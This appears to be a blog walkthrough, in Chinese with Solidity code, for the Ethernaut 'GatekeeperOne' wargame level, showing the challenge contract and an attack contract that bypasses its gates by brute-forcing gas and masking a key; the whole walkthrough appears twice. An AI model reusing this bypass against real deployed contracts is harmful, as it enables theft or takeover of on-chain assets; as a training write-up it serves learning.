
Subscribe to hujiawei

Subscribe to hujiawei
<100 subscribers
<100 subscribers
Share Dialog
Share Dialog
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol'; contract GatekeeperOne { using SafeMath for uint256; address public entrant; uint256 i = uint256(uint160(address(tx.origin))); modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft().mod(8191) == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); require(uint32(uint64(_gateKey)) == uint16(i), "GatekeeperOne: invalid gateThree part three"); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true;
https://github.com/ssadad112/eth13_1.sol/blob/main/eth1313.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import 'https://github.com/ssadad112/eth13_1.sol/blob/main/eth1313.sol'; contract AreYouTheKeymaster{ using SafeMath for uint256; bytes8 txOrigin16 = 0xA4c02754963E3a2e; //你钱包地址的后16位 bytes8 key = txOrigin16 & 0xFFFFFFFF0000FFFF; GatekeeperOne public gkpOne; function setGatekepperOne(address _addr) public{ gkpOne = GatekeeperOne(_addr); } function letMeIn() public{ for (uint256 i =0; i < 120; i++) { (bool result, bytes memory data) = address(gkpOne).call{gas: i + 150 + 8191*3}(abi.encodeWithSignature("enter(bytes8)", key)); if(result) { break; } } }}
https://github.com/ssadad112/Eth13_attack.sol/blob/main/Eth13_attack.sol
3.部署这个合约,见下图:

4.部署成功后在浏览器提供的实例地址填入上图中的“setGatekepp”处,然后点击“setGatekepp”,确认钱包。确认后点击 “letmein”,确认钱包,任务结束,提交。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol'; contract GatekeeperOne { using SafeMath for uint256; address public entrant; uint256 i = uint256(uint160(address(tx.origin))); modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft().mod(8191) == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); require(uint32(uint64(_gateKey)) == uint16(i), "GatekeeperOne: invalid gateThree part three"); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true;
https://github.com/ssadad112/eth13_1.sol/blob/main/eth1313.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import 'https://github.com/ssadad112/eth13_1.sol/blob/main/eth1313.sol'; contract AreYouTheKeymaster{ using SafeMath for uint256; bytes8 txOrigin16 = 0xA4c02754963E3a2e; //你钱包地址的后16位 bytes8 key = txOrigin16 & 0xFFFFFFFF0000FFFF; GatekeeperOne public gkpOne; function setGatekepperOne(address _addr) public{ gkpOne = GatekeeperOne(_addr); } function letMeIn() public{ for (uint256 i =0; i < 120; i++) { (bool result, bytes memory data) = address(gkpOne).call{gas: i + 150 + 8191*3}(abi.encodeWithSignature("enter(bytes8)", key)); if(result) { break; } } }}
https://github.com/ssadad112/Eth13_attack.sol/blob/main/Eth13_attack.sol
3.部署这个合约,见下图:

4.部署成功后在浏览器提供的实例地址填入上图中的“setGatekepp”处,然后点击“setGatekepp”,确认钱包。确认后点击 “letmein”,确认钱包,任务结束,提交。
No activity yet